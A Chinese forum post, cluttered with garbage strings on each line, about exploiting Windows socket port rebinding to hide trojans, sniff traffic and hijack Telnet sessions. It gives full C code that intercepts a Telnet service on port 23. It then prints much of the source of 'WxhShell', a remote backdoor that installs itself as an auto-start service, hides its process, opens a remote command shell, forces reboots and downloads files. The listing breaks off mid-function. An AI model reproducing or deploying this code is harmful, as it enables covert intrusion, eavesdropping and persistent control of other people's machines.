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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: h}_1cev?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~:%rg H  
|cBpX+D  
  saddr.sin_family = AF_INET; *AU"FI> V  
-cHX3UAEI  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &`'gO 9  
O$=)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); mJ|7Jc  
H19CVc\B  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 k98}Jx7J)"  
L){rv)?="  
  这意味着什么?意味着可以进行如下的攻击: 6A& f  
k&1~yW  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :bA@ u>  
AT{ewb  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) g{ cHh(S  
"kjjq~l  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \k|ZbCWg  
,{{uRs/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  F W# S.<  
:oH"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 GBZx@B[TY  
.#b!#   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $bU|'}QR  
x6ig,N~AO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \8!&X cA  
[lC*|4t&  
  #include fodr1M4J  
  #include f#p.=F$  
  #include M9@#W"  
  #include    M#qZ0JT4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *S.2p*Vd  
  int main() ^J>jU`)CJ  
  { 6#k Ap+g7  
  WORD wVersionRequested; 4565U  
  DWORD ret; swVq%]')"  
  WSADATA wsaData; 96Tc:#9i  
  BOOL val; <L__;j1Wx  
  SOCKADDR_IN saddr; 4>gMe3]0  
  SOCKADDR_IN scaddr; e.0vh?{\  
  int err; '* +]&~b  
  SOCKET s; wo[W1?|s  
  SOCKET sc; k:w\4Oqd  
  int caddsize; q*ZjOqj  
  HANDLE mt; { A(= phN  
  DWORD tid;   !o 7uZC\  
  wVersionRequested = MAKEWORD( 2, 2 ); .JpYZ |  
  err = WSAStartup( wVersionRequested, &wsaData ); >29eu^~nh  
  if ( err != 0 ) { zy#E qv  
  printf("error!WSAStartup failed!\n"); gT R:9E:B  
  return -1; NDRk%_Eu(  
  } O329Bkg  
  saddr.sin_family = AF_INET; A]{8 =  
   &Sc}3UI/F  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 c(bh i  
C<6IiF[>%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3Nh;^  
  saddr.sin_port = htons(23); 0rT-8iJp4P  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {nbD5 ?   
  { E YUr.#:  
  printf("error!socket failed!\n"); #TUsi,jG  
  return -1; 1GW=QbO 6  
  } }@Oy kN  
  val = TRUE; T"Wq:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )*^PMf  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4kA/W0 VG  
  { h"YIAQ',  
  printf("error!setsockopt failed!\n"); 0=s+bo1  
  return -1; ZBJYpeGe  
  } cJm!3X  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; eR8qO"%2:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;sa-Bh=j^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (G"b)"Qum  
T.HI $(d  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) EPr{1Z  
  { / GJ"##<  
  ret=GetLastError(); j*$GP'Df3  
  printf("error!bind failed!\n"); 5RTAM  
  return -1; oa`,|dA"  
  } /+J?Ep(_  
  listen(s,2); -Tk~c1I#`  
  while(1) ha'oLm#  
  { 6[c LbT0  
  caddsize = sizeof(scaddr); $+ZO{ (  
  //接受连接请求 ,KIa+&vJW@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0ldde&!p  
  if(sc!=INVALID_SOCKET) g?i_10Xlp  
  { gzP(Lf I5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); N`grr{*_  
  if(mt==NULL) g=[ F W@z  
  { -2tX 15,  
  printf("Thread Creat Failed!\n"); Eln"RKCt}9  
  break; {:Z#8dGe  
  } $RKd@5XP  
  } &tQ,2RT  
  CloseHandle(mt); \GbT^!dj  
  } m{x!uq  
  closesocket(s); uwWfL32  
  WSACleanup(); .Kq>/6  
  return 0; i2$U##-ro]  
  }   d Z"bc]z{  
  DWORD WINAPI ClientThread(LPVOID lpParam) dp2".  
  { Tc\^=e^N?  
  SOCKET ss = (SOCKET)lpParam; !HqIi@>8  
  SOCKET sc; u3 ?+Hu|*T  
  unsigned char buf[4096]; $&k2m^R<  
  SOCKADDR_IN saddr; VPn #O  
  long num; K~@-*8%  
  DWORD val; X&M4 c5Li  
  DWORD ret; =YZp,{T  
  //如果是隐藏端口应用的话,可以在此处加一些判断 '4FS.0*_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   PQvq$|q  
  saddr.sin_family = AF_INET; 3VA8K@QiRm  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [gzw<b:`  
  saddr.sin_port = htons(23); ;myu8B7&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Gr?"okaA  
  { C3bZ3vcW$  
  printf("error!socket failed!\n"); D Z ~|yH  
  return -1; 5HL JkOV5  
  }  h:#  
  val = 100; @OFl^U0/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ERGDo=j  
  { v[r:1T@  
  ret = GetLastError(); 0V}vVAa(B  
  return -1; 68)z`JI|<)  
  } >}u?{_s *0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,A =%!p+  
  { O`t ]#  
  ret = GetLastError(); =[t([DG  
  return -1; )Ah  
  } ui G7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Fdu0?H2TL  
  { yKOf]m>#  
  printf("error!socket connect failed!\n"); 5&2=;?EO  
  closesocket(sc); `W?aq]4x5  
  closesocket(ss); '/;#{("  
  return -1; -1S+fUkiK/  
  } wXXv0OzK  
  while(1) Xj+1]KRN  
  { uTP=kgYqJ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s4MP!n?gB  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +Z$X5Th  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 eiP>?8  
  num = recv(ss,buf,4096,0); kc|`VB8L  
  if(num>0) n?Gm 5##  
  send(sc,buf,num,0); wm*`  
  else if(num==0) mkj`z  
  break; f>ED  
  num = recv(sc,buf,4096,0); 8DLR  
  if(num>0)  U@m<  
  send(ss,buf,num,0); \~jt7 Q  
  else if(num==0) / )5B  
  break; >0@X^o  
  } Gk799SDL  
  closesocket(ss); t ~U&a9&Z  
  closesocket(sc); fn#b3ee  
  return 0 ; "Oh-`C  
  } $CL=M  
Yq`r>g  
wc~a}0uz  
========================================================== I.y|AQB  
e#kPf 'gL  
下边附上一个代码,,WXhSHELL nsw.\(#  
79:x>i=  
========================================================== JZu7Fb]L9  
&ks>.l\  
#include "stdafx.h" a_QO)  
w|?Nq?KA  
#include <stdio.h> r^#.yUz  
#include <string.h> >4~{ CXZ  
#include <windows.h> Xd|@w{.m*  
#include <winsock2.h> 0\o0(eHCQz  
#include <winsvc.h> @WBy:gV"  
#include <urlmon.h> UTi n0k  
[_-CO }>  
#pragma comment (lib, "Ws2_32.lib") vj?9X5A_  
#pragma comment (lib, "urlmon.lib") HEjV7g0E  
4y 582u6^  
#define MAX_USER   100 // 最大客户端连接数 dHf_&X2A  
#define BUF_SOCK   200 // sock buffer vWe)cJ  
#define KEY_BUFF   255 // 输入 buffer 8EbYk2j  
_~Lhc'^p*  
#define REBOOT     0   // 重启 C&<f YCwG  
#define SHUTDOWN   1   // 关机 OX|/yw8  
Eto0>YyZ  
#define DEF_PORT   5000 // 监听端口 u4z]6?,"e  
uZmfvMr3  
#define REG_LEN     16   // 注册表键长度 w{2V7*+l  
#define SVC_LEN     80   // NT服务名长度 :Nc~rOC _  
",&}vfD4M  
// 从dll定义API ^>g+:?x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _k5KJKvr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vuDp_p*]S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JguE#ob2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IO^O9IEx,  
oPzt1Y  
// wxhshell配置信息 fcJ#\-+E  
struct WSCFG { (zJ TBI'  
  int ws_port;         // 监听端口 !R{L`T0  
  char ws_passstr[REG_LEN]; // 口令 ']Y:f)i#  
  int ws_autoins;       // 安装标记, 1=yes 0=no T`a [~:  
  char ws_regname[REG_LEN]; // 注册表键名 /MQd[03]  
  char ws_svcname[REG_LEN]; // 服务名 2$[u&__E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {hg,F?p '  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CmJ*oXyi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hs<7(+a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n2(~r 'r)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mqq~&nI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8.Y6r  
^U~YG=!ww  
}; LsV!Sd  
L8R|\Bx  
// default Wxhshell configuration $D9JsUij  
struct WSCFG wscfg={DEF_PORT, F P mLost  
    "xuhuanlingzhe", 3@ay9!Xq  
    1, YroKC+4"i  
    "Wxhshell", "5Kx]y8  
    "Wxhshell", z%*ZmF^K  
            "WxhShell Service", )vuxy  
    "Wrsky Windows CmdShell Service", ub,Sj{Mq"  
    "Please Input Your Password: ", [|k@Suv |z  
  1, O$$s]R6  
  "http://www.wrsky.com/wxhshell.exe", V)N9V|O'  
  "Wxhshell.exe" IWm|6@y  
    }; aeH 9:GQ6  
7|,5;  
// 消息定义模块 InPq1AH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q6.},o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \8_&@uLm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L2Gm0 v  
char *msg_ws_ext="\n\rExit."; @#8F5G#  
char *msg_ws_end="\n\rQuit."; 3b#KrN'  
char *msg_ws_boot="\n\rReboot..."; 8uT@$ ./  
char *msg_ws_poff="\n\rShutdown..."; bE]2:~  
char *msg_ws_down="\n\rSave to "; M5 Pvc  
X*%KR4`  
char *msg_ws_err="\n\rErr!"; jw(v08u >  
char *msg_ws_ok="\n\rOK!"; Rfa1 v*(  
Wv(VV[?/&  
char ExeFile[MAX_PATH]; YM1@B`yWE  
int nUser = 0; s{IycTbz  
HANDLE handles[MAX_USER]; )5&w  
int OsIsNt; l)XzU&Sc~  
EkOBI[`  
SERVICE_STATUS       serviceStatus; ~2rZL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?LvZEiJ  
HK:?Y[ebs  
// 函数声明 _4.`$n/Z  
int Install(void); GbStqR~^#  
int Uninstall(void); W J^r~*r  
int DownloadFile(char *sURL, SOCKET wsh); B[cZEFo\  
int Boot(int flag); 61!R -  
void HideProc(void); }ZvL%4jT  
int GetOsVer(void); Bz7T1B&to  
int Wxhshell(SOCKET wsl); $+7M Y-9T  
void TalkWithClient(void *cs); T-|z18|!  
int CmdShell(SOCKET sock); Zf?>:P  
int StartFromService(void); u^iK?S#Ci8  
int StartWxhshell(LPSTR lpCmdLine); BS+N   
E>SnH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3&3S*1b-H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?N$  
~p oy`h'  
// 数据结构和表定义 _Y}(v( (;  
SERVICE_TABLE_ENTRY DispatchTable[] = e[R364K  
{ lm]4zs /A  
{wscfg.ws_svcname, NTServiceMain}, L6 hTz'  
{NULL, NULL} 193Q  
}; w(.k6:e  
c5]^jUB6  
// 自我安装 XQlK}AK  
int Install(void) aSKI %<?xN  
{ mNcTO0p&  
  char svExeFile[MAX_PATH]; =3/||b4c  
  HKEY key; *PZNZ{|m  
  strcpy(svExeFile,ExeFile); ^U:pv0Qz  
_~5{l_v|I  
// 如果是win9x系统,修改注册表设为自启动 1(rH5z'F  
if(!OsIsNt) { oh#6>|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gZ/M0px  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /lAt&0  
  RegCloseKey(key); r+ v*(Tu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .xCO_7Rd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3VA Lrb;  
  RegCloseKey(key); "'II~/9  
  return 0; \f@PEiARG7  
    } -i?!em'J  
  } SaQ_%-&#p  
} vPSH  
else { 0'z$"(6D  
!*+~R2&b  
// 如果是NT以上系统,安装为系统服务 Yz.[CmdX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hD # Yz<  
if (schSCManager!=0) r-&4<=C/N  
{ +?nW  
  SC_HANDLE schService = CreateService  ] |~],\  
  ( VJZ   
  schSCManager, EvQN(_  
  wscfg.ws_svcname, (ioi !p  
  wscfg.ws_svcdisp, ~i6tc d  
  SERVICE_ALL_ACCESS, 3H@TvV/;f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,j9}VnW)  
  SERVICE_AUTO_START, R;'Pe>  
  SERVICE_ERROR_NORMAL, UiaY0 .D  
  svExeFile, 6D3fkvc Z  
  NULL, TQ>kmHWf/  
  NULL, f}  eZX  
  NULL, Lgvmk  
  NULL, Uhb6{'+  
  NULL Z"% =  
  ); s 6vsV  
  if (schService!=0) KuE 2a,E4  
  { 'UW7zL5  
  CloseServiceHandle(schService); waO*CjxE:  
  CloseServiceHandle(schSCManager); $>8+t>|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fLct!H3  
  strcat(svExeFile,wscfg.ws_svcname); rc 9 \  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !u>29VN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O2ety2}?f  
  RegCloseKey(key); 4N*Fq!k~  
  return 0; d!e$BiC  
    } Gzc{2"p  
  } KzI$GU3  
  CloseServiceHandle(schSCManager); )bw^!w)  
} U#d&#",s  
} t<~riFs]  
7cY_=X-?Y  
return 1; tezsoR!.ak  
} )5Gzk&|  
2vu"PeU9  
// 自我卸载 ]0V~|<0c  
int Uninstall(void) `!>zYcmT  
{ :=UeYm @  
  HKEY key; Lt|k}p@]  
K, ?M5n '  
if(!OsIsNt) { I_'vVbK+>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e=1&mO?  
  RegDeleteValue(key,wscfg.ws_regname); jO<K0c c  
  RegCloseKey(key); BLuILE:$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gWv/3hWWB  
  RegDeleteValue(key,wscfg.ws_regname); !T6oD]x3  
  RegCloseKey(key); p,$1%/m  
  return 0; {cq; SH  
  } :$dGcX}  
} I zM=?,`  
} 1LT)%_d@  
else { n]6xrsE  
<;phc~0+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t 0nGZ%`  
if (schSCManager!=0) L8/o9N1  
{ j}#48{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); - :*PXu  
  if (schService!=0) r >u0Y  
  { -"<H$  
  if(DeleteService(schService)!=0) { ATk>:^n  
  CloseServiceHandle(schService); `c(,_o a{  
  CloseServiceHandle(schSCManager); .e"De-u  
  return 0; o/2\8   
  } `f8{ ^Rau  
  CloseServiceHandle(schService); v3Te+oLg  
  } X./8 PK?&  
  CloseServiceHandle(schSCManager); % 7/XZQ  
} -`&4>\o2Lx  
} ZQsE07  
xHZx5GJp9  
return 1; :-ax5,J>q  
} z,I7 PY& G  
5i83(>p3]e  
// 从指定url下载文件 2W$c%~j$2  
int DownloadFile(char *sURL, SOCKET wsh) -gv@ .#N  
{ !94& Uk(O  
  HRESULT hr; D8paIp  
char seps[]= "/"; <!-8g!  
char *token; ( y'i{:B  
char *file; 4YXtl +G  
char myURL[MAX_PATH]; xJJlVP  
char myFILE[MAX_PATH]; D0~WK stl  
?b^VEp.;}  
strcpy(myURL,sURL); t`Mm  
  token=strtok(myURL,seps); TB*g$ *  
  while(token!=NULL) )PB&w%J  
  { {KdC5 1"Nv  
    file=token; 4/~8zvz&3  
  token=strtok(NULL,seps); LV4 x9?&  
  } rm1R^ n  
B`T|M$Ug  
GetCurrentDirectory(MAX_PATH,myFILE); t A\N$  
strcat(myFILE, "\\"); k2j:s}RHY  
strcat(myFILE, file); q !EJs:AS  
  send(wsh,myFILE,strlen(myFILE),0); t \Fc <  
send(wsh,"...",3,0); nxA]EFS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FOM~Uj  
  if(hr==S_OK) @HMt}zD  
return 0; :_p3nb[r  
else `a3q)}*Y  
return 1; %*oz~,i  
E )09M%fe  
} F2AM/m^!q  
{ylc 2 1  
// 系统电源模块 J,4]d u$  
int Boot(int flag) |.*),t3 (w  
{ pvDr&n9  
  HANDLE hToken; HJ !)D~M{  
  TOKEN_PRIVILEGES tkp; zVGjXuNa  
42Tjbten_u  
  if(OsIsNt) { ]Qkto4DQ5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [j 'Ogm7"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^.nvX{H8~=  
    tkp.PrivilegeCount = 1; jt S+y)2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gD@ &/j7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q4xB`G  
if(flag==REBOOT) { 67<zBw2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4)]g=-3  
  return 0; Olj]A]v}  
} n&r-  
else { e\%QHoi>u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y~SFlv36  
  return 0; O->i>d  
} {QM;%f  
  } )>\J~{  
  else { A0V"5syY  
if(flag==REBOOT) { *O)_D bj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8v*>~E/0  
  return 0; >#$( M5&}-  
} HvKueTQ  
else { p<Ah50!B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HdJLD+k/  
  return 0; -,TBUWg  
} m{JiF-=u  
} UacN'Rat  
E:D1ZV  
return 1; SV<*qz  
} hIXGfvUy  
QTz{ZNi!  
// win9x进程隐藏模块 #h6(DuViKw  
void HideProc(void) ;}A#ws_CD_  
{ ]vXIj0:  
]n _-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PUltn}M  
  if ( hKernel != NULL ) #Vs/1y`()  
  { 3${?!OC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Zj<oh8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Zv7@  
    FreeLibrary(hKernel); c72Oy+#  
  } q-o=lU"  
![7v_l\Q  
return; "2HRuqf  
} YUT"A{L  
,h #!!j\j6  
// 获取操作系统版本 W#u}d2mP  
int GetOsVer(void) T55l-.>  
{ d=oOMXYa   
  OSVERSIONINFO winfo; I%e7:cs>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JV36@DVQ  
  GetVersionEx(&winfo); c5;YKON  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cuq7eMG6z  
  return 1; i_`YZ7Hxp  
  else DECX18D  
  return 0; / v5Pk.!o  
} 7KRc^ *pZs  
%b\xRt[0v7  
// 客户端句柄模块 t<ftEJU"'w  
int Wxhshell(SOCKET wsl) S/~6%uJ  
{ r;|Bc$P  
  SOCKET wsh; ~1|sf8  
  struct sockaddr_in client; C;dA?Es>R  
  DWORD myID; [cXu<vjFM  
g_0"T}09(  
  while(nUser<MAX_USER) tborRi)  
{ n\,TW&3  
  int nSize=sizeof(client); wS``Q8K+dM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l2VO=RDiW  
  if(wsh==INVALID_SOCKET) return 1; ;cp-jY_U  
_q6+]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "*+epC|ks  
if(handles[nUser]==0) *9j9=N?  
  closesocket(wsh); *uA?}XEfi  
else <e/O"6='Z  
  nUser++; AU87cqq  
  } GVn9=[r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nz+o8L,  
1yX&iO^d  
  return 0; ;4 ?%k )  
} 7w>"M  
,yV pB)IQ  
// 关闭 socket oYJ&BPuA'  
void CloseIt(SOCKET wsh) \lKQDct. -  
{ LaN4%[;X1-  
closesocket(wsh); t$l[ 4 R-  
nUser--; Kw!`u^>  
ExitThread(0); *9PS2*n  
} hXz"}X n  
YLSG 5vF+  
// 客户端请求句柄 KO)<Zh  
void TalkWithClient(void *cs) hZ2PP ^  
{ 7Mo O2  
+QldZba  
  SOCKET wsh=(SOCKET)cs; {H])Fob  
  char pwd[SVC_LEN]; PDD` eK}Fj  
  char cmd[KEY_BUFF]; *k+QX   
char chr[1]; A: 0] n  
int i,j; +%U@  
U}gYZi;;$  
  while (nUser < MAX_USER) { JiI(?I  
?MpGz CPa  
if(wscfg.ws_passstr) { Q=^}B}G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ya:H{#%6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l' "<  
  //ZeroMemory(pwd,KEY_BUFF); Nz!AR$  
      i=0; _F@FcFG1Z*  
  while(i<SVC_LEN) { ,x{5,K.yWq  
h(G&X9*  
  // 设置超时 \GMudN  
  fd_set FdRead; /23v]HEPy  
  struct timeval TimeOut; dcHkb,HsO  
  FD_ZERO(&FdRead); >$R-:>~zN  
  FD_SET(wsh,&FdRead); jDXmre?  
  TimeOut.tv_sec=8; _ORW'(:Z  
  TimeOut.tv_usec=0; ^+GN8LUs  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?7G[`@^Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p%3';7W\  
#(  kT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fcw \`.  
  pwd=chr[0]; A=XM(2{aN  
  if(chr[0]==0xd || chr[0]==0xa) { H.>KYiv+  
  pwd=0; Ei}DA=:s  
  break; ?|s[/zPS=  
  } vm4]KEyrX  
  i++; {<kl)}  
    } .-WCB  
@kqy!5)K  
  // 如果是非法用户,关闭 socket |9_e2OwH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .Bi7~*N  
} m|f|u3'z$  
\ [>Rt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {|rwIRe  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dDm<'30?*v  
YDmFR,047  
while(1) { 0hNc#x6  
B"Fg`s+]U  
  ZeroMemory(cmd,KEY_BUFF); -C8awtbC  
G 8NSBaZe  
      // 自动支持客户端 telnet标准   X;6X K$"  
  j=0; _')KDy7  
  while(j<KEY_BUFF) { [fW:%!Y'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,%,}[q?]d  
  cmd[j]=chr[0]; bjvi`jyL3k  
  if(chr[0]==0xa || chr[0]==0xd) { wkIH<w|jb  
  cmd[j]=0; P}VD}lEyO  
  break; _FVIN;!  
  } *{-XN  
  j++; ~V./*CQ\c  
    } .5I1wRN49  
a\%g_Q){  
  // 下载文件 lT(MywNsg  
  if(strstr(cmd,"http://")) { Xt7uCs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D!@c,H  
  if(DownloadFile(cmd,wsh)) ?ii a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S8]g'!  
  else 99ZQlX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %*s[s0$c  
  } \}<nXn!  
  else { ]"YG7|EU  
i\t4TdEx(  
    switch(cmd[0]) { nKHyq\  
  wiFckF/  
  // 帮助  z!F?#L5  
  case '?': { t;4{l`dk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `[:f;2(@  
    break;  Ng-3|N  
  } Pd@?(WQ  
  // 安装 /Wj9Stj5  
  case 'i': { G4=v2_]  
    if(Install()) R_H di~ k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kj-S d^  
    else +Uk/Zg w^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "urQUpF  
    break; tZ6KU11O  
    } ^c!Hur6)  
  // 卸载 (>Tu~Vo  
  case 'r': { >yL8C: J9  
    if(Uninstall()) 0<P -`|X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y t<K!=7&  
    else K}wUM^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A46y?"]/30  
    break; k|g~xmI;  
    } IPY@9+]  
  // 显示 wxhshell 所在路径 R_ Z H+@O  
  case 'p': { #nu?b?X'  
    char svExeFile[MAX_PATH]; fYH%vr)  
    strcpy(svExeFile,"\n\r"); fo5!d@Nv  
      strcat(svExeFile,ExeFile); ikofJl]9  
        send(wsh,svExeFile,strlen(svExeFile),0); z}pdcQl#  
    break; ?5+=  
    } J[<:-$E  
  // 重启 \Mi y+<8$  
  case 'b': { 9 s>JdAw?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XLzHm&;  
    if(Boot(REBOOT)) IJs` 3?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0_%u(?  
    else { BGUP-_&  
    closesocket(wsh); 8WaVs6  
    ExitThread(0); 7[8PSoo  
    } paiF ah  
    break; km8[azB o  
    } +='.uc_  
  // 关机 Z!ub`coV[  
  case 'd': { 0h#' 3z<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Gh@QR`xxc  
    if(Boot(SHUTDOWN)) c"fnTJXr79  
